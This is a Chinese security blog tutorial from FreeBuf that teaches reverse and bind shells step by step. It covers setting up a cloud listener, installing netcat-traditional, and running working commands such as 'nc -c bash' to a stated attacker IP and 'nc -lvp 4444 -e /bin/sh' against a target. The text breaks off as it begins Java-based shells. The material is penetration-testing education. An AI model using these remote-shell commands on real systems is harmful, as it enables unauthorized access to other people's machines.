freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

不会有人2025了还不会反弹shell吧?让你的反弹shell从0到1!
2025-03-22 20:43:31
所属地 广东省

引言

学习反弹shell的过程太痛苦,让后人不要那么痛苦,写的文章~

这个文章讲什么?

那就牛逼了,哥们从服务器开始讲,讲如何搭建服务器反弹shell,为什么要搭建服务器,下载反弹shell的命令,如何避免踩坑,什么是正向反向连接,如何通过pythonjava进行连接,数据包反弹shell用什么命令,Linux和Windows差别。总而言之,言而总之,手把手,心连心,包看懂,包学会,无套路,求珍惜。

涉及知识点

1.如何从搭建服务器开始到反弹Shell

2.如何利用代码进行反弹shell

3.反弹Shell在数据包中为什么要使用base64编码的形式

4.反弹Shell为什么要使用代码进行反弹shell

5.如何在目标服务器上安装代码环境(使用命令行)

6.各种命令面板的区别是什么,为什么要弄清楚?

7.自己是什么权限,权限之间的区别

8.内网如何反弹shell

9.正向连接反向连接

场景提要

文章以下的片段,都是用root权限,也就是管理员的最高权限。

正式开始

知识点一:搭建反弹shell服务器

选择经济型即可

1742299645_67d961fd2d90404592ebb.png!small?1742299585662

1742299659_67d9620b8624d15fde2d7.png!small?1742299600008

镜像选择Ubuntu,因为在Liunx中个人认为是比较好用。1742299670_67d96216ba895e9430d20.png!small?1742299611050

首先是安全组的设置,新建安全组,随便选一下端口即可(后面还要进行微调)

设置一个密码,选择自定义密码,不要选密钥对,因为方便

1742299683_67d9622323c95216aad21.png!small?1742299623388

创建完成后会跳转到这个页面,点击安全组,就能看到刚刚创建的安全组

1742299693_67d9622d044a19a6f105a.png!small?1742299633430

1742299698_67d962323fc69868e2b89.png!small?1742299638767

1742299743_67d9625f3d16586f57267.png!small?1742299683592

直接选择开启全部,别问,问就是省事~

入方向和出方向都要进行设置,问就是省事~

1742299752_67d962688d919807b5c8b.png!small?1742299692836

远程连接当然也可以,跳转后输入密码就好了,但不推荐

理由:传文件很麻烦,切换目录的时候也很麻烦,不省事。

所以需要下载一个:

1742299771_67d9627bbff32ab2987b7.png!small?1742299712039

记得下载中文版的~

为什么不给下载链接,因为我也想省事~

1742299787_67d9628b9ecc276864a00.png!small?1742299727912

下载以后就很简单了,直接跟着做就好

1742299796_67d962942331d8bb41566.png!small?1742299736323

远程主机写什么?服务器的公网IP

1742299804_67d9629c06afbc7b71dbf.png!small?1742299750196


记得写的是公有的不是私有的。

1742299811_67d962a3e840344615728.png!small?1742299752138

输入刚刚设置的密码。

1742299820_67d962ac3842489558688.png!small?1742299760611

成功登录了。

想要进行基础的反弹shell嘛?简单!但要先做一些战前准备。

sudo apt remove netcat-openbsd   # 卸载 OpenBSD 版本

sudo apt install netcat-traditional  # 安装传统版本(支持 -e 参数)

执行这两个命令即可。如何验证是否成功安装呢?

首先需要先执行,nc -version

1742299861_67d962d5e6d0ce8765509.png!small?1742299802162

这样的结果,就不是我们需要的反弹shell的命令

sudo apt remove netcat-openbsd   # 卸载 OpenBSD 版本

1742299887_67d962ef60e42acaa60ce.png!small?1742299827523

我这里是加了-y,没加-y也就是多了一个问题,问你要不要删除,删除yes摇头no~

sudo apt install netcat-traditional

1742299896_67d962f8f3000c44c2311.png!small?1742299837505

然后发现查不到版本是不是很慌

你管他呢,直接就是一个命令:nc -l -vp 8080

1742299906_67d96302826d58efe3ad5.png!small?1742299846794

ok了,命令齐活了~

nonon不一定,还需要输入nc试试:

1742299916_67d9630cd45b9562786a0.png!small?1742299857153

像这样出现Cmd line才能保证你的nc下载的是对的

如果不对,那么就要先执行这两个命令:

sudo rm /usr/bin/nc 

which nc# 应返回 "nc not found"

1742299993_67d9635909423677e331d.png!small?1742299933317

再执行:

sudo apt remove netcat-openbsd   # 卸载 OpenBSD 版本

sudo apt install netcat-traditional  # 安装传统版本(支持 -e 参数)


nc命令就成功下载了。剩下就可以利用它去上线了,怎么上线?

插一嘴:反弹Shell不是分为反向正向嘛,理解起来就头疼,奇奇怪怪弯弯绕绕,其实就是一个很简单的事情。

攻击机(你的电脑,你的服务器)去连接别人(被攻击的电脑、服务器),就是正向

别人(被攻击的电脑、服务器)去连接攻击机(你的电脑,你的服务器),就是反向

然后就有小白师傅问了,别人怎么可能会主动去连接你的电脑呢?

执行命令漏洞懂吧,反弹shell这个东西都是有执行命令的前提下的,你不能执行命令,你怎么反弹shell,它一定是在一个你挖到了别人的漏洞,那个漏洞正好是可以执行命令的漏洞,你才能开始执行反弹shell,听懂yes摇头no!!!!!!

1742300043_67d9638b5d2ad8b0d44fc.png!small?1742299983773

我自己开了一台电脑,你也别管什么真实机虚拟机的,那玩意没影响。

(或者就是最好你再开一台Ubuntn的服务器,这样可以把其他因素,什么防火墙配置啊,什么虚拟机配置,这种乱七八糟的变量给控制为0,重复上面下载命令的操作)

知识点二:基础反弹shell演示

那么我们正式演示反弹shell

阿里云服务器先执行:nc -l -vp 8080

1742300095_67d963bf9abc4176309e8.png!small?1742300035935

被攻击的机子执行:nc -c bash8.138.105.798080

1742300262_67d9646605969895a5c74.png!small?1742300202487

成功上线。简单不简单。

1742300272_67d964700840cd8b65a02.png!small?1742300212482

1742300278_67d9647676dae5b5940ed.png!small?1742300218885

那么有人问了,主播主播,我不理解命令怎么办?

nc -l -vp 7777

nc -c bash8.138.105.797777

端口 7777 你可以改成你喜欢的,但要保证两个命令一致,8.138.105.79这个IP要记得使用攻击机的IP,比如我这里的攻击机是阿里云服务器,8.138.105.79就是阿里云服务器的ip

命令都是些啥意思呀?

nc -l -vp 7777 -- 监听自身的7777端口,要确保7777端口开放,还记得之前为什么让你们选择全部端口开放吗?

因为不开放就无法使用。

nc -c bash8.138.105.797777 -- 去连接目标服务器

那这个是什么连接?这就是反向连接!我监听我自己的,等目标服务器连接我,我是被动的,就叫反向,就这么简单。


那么正向是咋样的?首先命令是不同的

nc -lvp 4444 -e /bin/sh

nc 10.0.78.41 4444

值得注意的是,正向连接是无法用内网机子进行连接的。(后面会进行解释)

1742300430_67d9650e560c9041d24e7.png!small?1742300370608

nc -lvp 4444 -e /bin/sh目标机子(被攻击的机子)

1742300441_67d965194675b8556fd0b.png!small?1742300381843

攻击机子

首先通过查询,查询到被攻击的机子的公网ip是:112.96.87.184

1742300454_67d965266ab8207c1cb59.png!small?1742300395797

那么通过这个nc 112.96.87.184 4444去连接

1742300465_67d96531a9cda21d74632.png!small?1742300405959

连的上吗?

连不上!

为什么连不上,概念:外网机子找不到内网,内网机子找的到外网。

1742300529_67d96571c96b084beba2a.png!small?1742300470044


内网外网一听就头疼:

简单,你在你本地搭建一个网站,一个靶场,你让你朋友访问一下试试,他能访问到吗?访问不到,这就是内网。

别人搭建了一个在线靶场,(你)你朋友去访问,诶能访问到,这就是外网(公网)。

这就是概念,简单吧,第三个概念。

你朋友(内网)能访问到在线靶场(外网),相当于什么?相当于内网去找外网,对吧?能访问到说明什么?

内找外,能找到。从内网连接外网,是ok的。

搭建了一个在线靶场的那个服务器的人,变成了你的朋友,你朋友去访问你搭建在本地上的网站。相当于什么?

相当于外网去找内网,对吧?那么所以外找内,找不到。从外网去连接内网的机器,是找不到的!


还不理解,就可以通过命令的差异进行一个理解。看看反向和正向的命令的一个差距。

1742300550_67d965867bf2257d0d529.png!small?1742300490686

那么概括一下就很简单了

正向连接:其实目标(被攻击)主动开放了一个端口,这个端口上放着权限,我们去拿这个权限

反向连接,目标(被攻击)这次没有开放端口了,但它将权限拿在手上,主动的交给我们监听的端口

这就是为什么反弹shell,我们在对内网目标的时候,使用的是反向连接,在对外网目标的时候,用的是正向连接的原因。其实实际的测试中,都用就是最好的了~

主播主播这么命令复杂,我记不住怎么办?

关于正向反向连接的其实是有命令进行生成的,推荐去这个网站

https://forum.ywhack.com/shell.php

1742300788_67d966740451f872aa307.png!small?1742300728704


好了好了结束了,累了!

嘿嘿骗你的~

知识点三:如何利用代码反弹shell

代码执行反弹shell,第一个条件是什么?当然是下载对应的代码啦。

首先是那这个就比较有用了,也是重点之一。

为什么呢?

Windows如果要进行反弹shell,是要下载你的反弹shell命令的,它不像Linux,可以直接下载。

而且,在Windows中,是有自身的防护的,你要进行反弹shell,那么你需要保证你的软件是免杀的,至少不会被自带的杀软给过滤的。

当然,这就是涉及到安全开发免杀这一块了,我们这里只讲如何上线,保证大家能够每一步都是顺利的,正确的,进行一个上线。

Linux上,如何用java代码进行上线。

自动安装ubuntu18系统下载运行

apt-get update

sudo apt install-yopenjdk-11-jre-headless

sudo apt install -y openjdk-11-jdk

手动解压安装

tar -xzvf jdk-13.0.2_linux-x64_bin.tar.gz

cd jdk-13.0.2/

pwd

vim /etc/profile

export JAVA_HOME=/root/jdk-13.0.2

export CLASSPATH=$:CLASSPATH:$JAVA_HOME/lib/ export PATH=$PATH:$JAVA_HOME/bin

source /etc/profile

分别可以自动下载,与收到解压包后的下载方式,这也就是我为什么用Ubuntu演示的原因,无他,方便而已~

1742301833_67d96a89f1926603ebb2e.png!small?1742301774384

为什么要有这个-y呢?因为这个-y可以在我们没有拿到shell,只是执行命令的时候不会被卡住。

他表示同意,如果你不输入-y。那么它就会进行一次询问,从而卡住~

java --version

1742301843_67d96a93256d763d80f37.png!small?1742301783590

有消息就表示安装好了

当然,可能有人执行apt-get update会有报错:

1742305129_67d9776947aac4ac5f8a6.png!small?1742305069755

那么你可以输入一下这一段,再进行执行试试

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 32EE5355A6BC6E42

小插曲小插曲,过了以后呢,那么就有人说了我如何将一个java的反弹shell放在目标服务器上面上面呢?

# 渗透测试 # 反弹shell # web渗透测试 # 内网反弹 # NC反弹
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录